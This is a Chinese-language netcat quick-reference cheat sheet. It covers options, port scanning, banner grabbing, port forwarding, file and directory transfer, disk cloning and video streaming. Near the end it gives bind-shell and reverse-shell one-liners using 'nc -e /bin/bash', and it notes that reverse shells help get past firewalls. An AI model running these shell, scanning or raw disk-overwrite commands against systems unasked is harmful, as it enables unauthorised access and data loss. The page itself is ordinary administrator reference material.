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 &#x26;  netcat cheatsheet &#x26;  Quick Reference</title>
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<p>该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。</p>
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</svg></div><div class="menu-modal"><a aria-hidden="true" class="leve2 tocs-link" data-num="2" href="#入门">入门</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#用法">用法</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#选项示例">选项示例</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#聊天客户端-服务器">聊天客户端-服务器</a><a aria-hidden="true" class="leve2 tocs-link" data-num="2" href="#netcat-示例">Netcat 示例</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#banner-抓取">Banner 抓取</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#端口扫描">端口扫描</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#代理和端口转发">代理和端口转发</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#下载文件">下载文件</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#上传文件">上传文件</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#目录传输">目录传输</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#加密传输">加密传输</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#克隆">克隆</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#视频流">视频流</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#远程-shell">远程 shell</a><a aria-hidden="true" class="leve3 tocs-link" data-num="3" href="#逆转-shell">逆转 shell</a></div></div><div class="h1wrap-body"><div class="wrap h2body-exist"><div class="wrap-header h2wrap"><h2 id="入门"><a aria-hidden="true" tabindex="-1" href="#入门"><span class="icon icon-link"></span></a>入门</h2><div class="wrap-body">
<!--rehype:body-class=cols-5-->
</div></div><div class="h2wrap-body cols-5"><div class="wrap h3body-not-exist col-span-2"><div class="wrap-header h3wrap"><h3 id="用法"><a aria-hidden="true" tabindex="-1" href="#用法"><span class="icon icon-link"></span></a>用法</h3><div class="wrap-body">
<!--rehype:wrap-class=col-span-2-->
<p>连接到位于任何地方的主机</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token punctuation">[</span>options<span class="token punctuation">]</span> <span class="token punctuation">[</span>host<span class="token punctuation">]</span> <span class="token punctuation">[</span>port<span class="token punctuation">]</span>
</span></code></pre>
<p>监听传入连接</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lp</span> port <span class="token punctuation">[</span>host<span class="token punctuation">]</span> <span class="token punctuation">[</span>port<span class="token punctuation">]</span>
</span></code></pre>
</div></div></div><div class="wrap h3body-not-exist col-span-3 row-span-2"><div class="wrap-header h3wrap"><h3 id="选项示例"><a aria-hidden="true" tabindex="-1" href="#选项示例"><span class="icon icon-link"></span></a>选项示例</h3><div class="wrap-body">
<!--rehype:wrap-class=col-span-3 row-span-2-->

































































<table><thead><tr><th align="left">选项</th><th align="left">示例</th><th align="left">说明</th></tr></thead><tbody><tr><td align="left"><code>-h</code></td><td align="left">nc -h</td><td align="left">帮助</td></tr><tr><td align="left"><code>-z</code></td><td align="left">nc -z 192.168.1.9 1-100</td><td align="left">端口扫描主机或 <code>IP</code> 地址</td></tr><tr><td align="left"><code>-v</code></td><td align="left">nc -zv 192.168.1.9 1-100</td><td align="left">提供详细输出</td></tr><tr><td align="left"><code>-n</code></td><td align="left">nc -zn 192.168.1.9 1-100</td><td align="left">通过禁用 <code>DNS</code> 解析进行快速扫描</td></tr><tr><td align="left"><code>-l</code></td><td align="left">nc -lp 8000</td><td align="left"><code>TCP</code> 侦听模式 <em>(用于入站连接)</em></td></tr><tr><td align="left"><code>-w</code></td><td align="left">nc -w 180 192.168.1.9 8000</td><td align="left">定义超时值</td></tr><tr><td align="left"><code>-k</code></td><td align="left">nc -kl 8000</td><td align="left">断线后继续收听</td></tr><tr><td align="left"><code>-u</code></td><td align="left">nc -u 192.168.1.9 8000</td><td align="left">使用 <code>UDP</code> 而不是 <code>TCP</code></td></tr><tr><td align="left"><code>-q</code></td><td align="left">nc -q 1 192.168.1.9 8000</td><td align="left">客户在 <code>EOF</code> 后熬夜</td></tr><tr><td align="left"><code>-4</code></td><td align="left">nc -4 -l 8000</td><td align="left">仅限 <code>IPv4</code></td></tr><tr><td align="left"><code>-6</code></td><td align="left">nc -6 -l 8000</td><td align="left">仅限 <code>IPv6</code></td></tr></tbody></table>
</div></div></div><div class="wrap h3body-not-exist col-span-2"><div class="wrap-header h3wrap"><h3 id="聊天客户端-服务器"><a aria-hidden="true" tabindex="-1" href="#聊天客户端-服务器"><span class="icon icon-link"></span></a>聊天客户端-服务器</h3><div class="wrap-body">
<!--rehype:wrap-class=col-span-2-->
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lv</span> <span class="token number">8000</span>
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span>
</span></code></pre>
</div></div></div></div></div><div class="wrap h2body-exist"><div class="wrap-header h2wrap"><h2 id="netcat-示例"><a aria-hidden="true" tabindex="-1" href="#netcat-示例"><span class="icon icon-link"></span></a>Netcat 示例</h2><div class="wrap-body">
</div></div><div class="h2wrap-body"><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="banner-抓取"><a aria-hidden="true" tabindex="-1" href="#banner-抓取"><span class="icon icon-link"></span></a>Banner 抓取</h3><div class="wrap-body">
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> website.com <span class="token number">80</span>
</span><span class="code-line">GET index.html HTTP/1.1
</span><span class="code-line">HEAD / HTTP/1.1
</span></code></pre>
<p>或者</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line"><span class="token builtin class-name">echo</span> <span class="token string">""</span> <span class="token operator">|</span> <span class="token function">nc</span> <span class="token parameter variable">-zv</span> <span class="token parameter variable">-wl</span> <span class="token number">192.168</span>.1.1 <span class="token number">801</span>-805
</span></code></pre>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="端口扫描"><a aria-hidden="true" tabindex="-1" href="#端口扫描"><span class="icon icon-link"></span></a>端口扫描</h3><div class="wrap-body">
<p>扫描 <code>21</code> 到 <code>25</code> 之间的端口</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-zvn</span> <span class="token number">192.168</span>.1.1 <span class="token number">21</span>-25
</span></code></pre>
<p>扫描端口 <code>22</code>、<code>3306</code> 和 <code>8080</code></p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-zvn</span> <span class="token number">192.168</span>.1.1 <span class="token number">22</span> <span class="token number">3306</span> <span class="token number">8080</span>
</span></code></pre>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="代理和端口转发"><a aria-hidden="true" tabindex="-1" href="#代理和端口转发"><span class="icon icon-link"></span></a>代理和端口转发</h3><div class="wrap-body">
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lp</span> <span class="token number">8001</span> <span class="token parameter variable">-c</span> <span class="token string">"nc 127.0.0.1 8000"</span>
</span></code></pre>
<p>或者</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-l</span> <span class="token number">8001</span> <span class="token operator">|</span> <span class="token function">nc</span> <span class="token number">127.0</span>.0.1 <span class="token number">8000</span>
</span></code></pre>
<p>创建从一个本地端口到另一个本地端口的隧道</p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="下载文件"><a aria-hidden="true" tabindex="-1" href="#下载文件"><span class="icon icon-link"></span></a>下载文件</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lv</span> <span class="token number">8000</span> <span class="token operator">&#x3C;</span> file.txt
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-nv</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span> <span class="token operator">></span> file.txt
</span></code></pre>
<p>假设您想将文件 <code>file.txt</code> 从服务器 A 传输到客户端 B。</p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="上传文件"><a aria-hidden="true" tabindex="-1" href="#上传文件"><span class="icon icon-link"></span></a>上传文件</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lv</span> <span class="token number">8000</span> <span class="token operator">></span> file.txt
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span> <span class="token operator">&#x3C;</span> file.txt
</span></code></pre>
<p>假设您想将文件 <code>file.txt</code> 从客户端 <code>B</code> 传输到服务器 <code>A</code></p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="目录传输"><a aria-hidden="true" tabindex="-1" href="#目录传输"><span class="icon icon-link"></span></a>目录传输</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">tar</span> <span class="token parameter variable">-cvf</span> – dir_name <span class="token operator">|</span> <span class="token function">nc</span> <span class="token parameter variable">-l</span> <span class="token number">8000</span>
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-n</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span> <span class="token operator">|</span> <span class="token function">tar</span> <span class="token parameter variable">-xvf</span> -
</span></code></pre>
<p>假设您想通过网络将目录从 <code>A</code> 传输到 <code>B</code></p>
</div></div></div><div class="wrap h3body-not-exist col-span-2"><div class="wrap-header h3wrap"><h3 id="加密传输"><a aria-hidden="true" tabindex="-1" href="#加密传输"><span class="icon icon-link"></span></a>加密传输</h3><div class="wrap-body">
<!--rehype:wrap-class=col-span-2-->
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-l</span> <span class="token number">8000</span> <span class="token operator">|</span> openssl enc <span class="token parameter variable">-d</span> <span class="token parameter variable">-des3</span> <span class="token parameter variable">-pass</span> pass:password <span class="token operator">></span> file.txt
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ openssl enc <span class="token parameter variable">-des3</span> <span class="token parameter variable">-pass</span> pass:password <span class="token operator">|</span> <span class="token function">nc</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span>
</span></code></pre>
<p>在通过网络传输之前加密数据</p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="克隆"><a aria-hidden="true" tabindex="-1" href="#克隆"><span class="icon icon-link"></span></a>克隆</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">dd</span> <span class="token assign-left variable">if</span><span class="token operator">=</span>/dev/sda <span class="token operator">|</span> <span class="token function">nc</span> <span class="token parameter variable">-l</span> <span class="token number">8000</span>
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-n</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span> <span class="token operator">|</span> <span class="token function">dd</span> <span class="token assign-left variable">of</span><span class="token operator">=</span>/dev/sda
</span></code></pre>
<p>克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda</p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="视频流"><a aria-hidden="true" tabindex="-1" href="#视频流"><span class="icon icon-link"></span></a>视频流</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">cat</span> video.avi <span class="token operator">|</span> <span class="token function">nc</span> <span class="token parameter variable">-l</span> <span class="token number">8000</span>
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span> <span class="token operator">|</span> mplayer <span class="token parameter variable">-vo</span> x11 <span class="token parameter variable">-cache</span> <span class="token number">3000</span> -
</span></code></pre>
<p>使用 netcat 流式传输视频</p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="远程-shell"><a aria-hidden="true" tabindex="-1" href="#远程-shell"><span class="icon icon-link"></span></a>远程 shell</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lv</span> <span class="token number">8000</span> <span class="token parameter variable">-e</span> /bin/bash
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span>
</span></code></pre>
<p>我们已经使用 <code>telnet</code> 和 <code>ssh</code> 使用远程 <code>Shell</code>，但是如果它们没有安装并且我们没有安装它们的权限，那么我们也可以使用 <code>netcat</code> 创建远程 <code>shell</code></p>
</div></div></div><div class="wrap h3body-not-exist"><div class="wrap-header h3wrap"><h3 id="逆转-shell"><a aria-hidden="true" tabindex="-1" href="#逆转-shell"><span class="icon icon-link"></span></a>逆转 shell</h3><div class="wrap-body">
<p>服务器 Server (192.168.1.9)</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token parameter variable">-lv</span> <span class="token number">8000</span>
</span></code></pre>
<p>客户端 Client</p>
<pre class="language-shell"><code class="language-shell code-highlight"><span class="code-line">$ <span class="token function">nc</span> <span class="token number">192.168</span>.1.9 <span class="token number">8000</span> <span class="token parameter variable">-v</span> <span class="token parameter variable">-e</span> /bin/bash
</span></code></pre>
<p>反向 <code>shell</code> 通常用于绕过防火墙限制，例如阻止入站连接</p>
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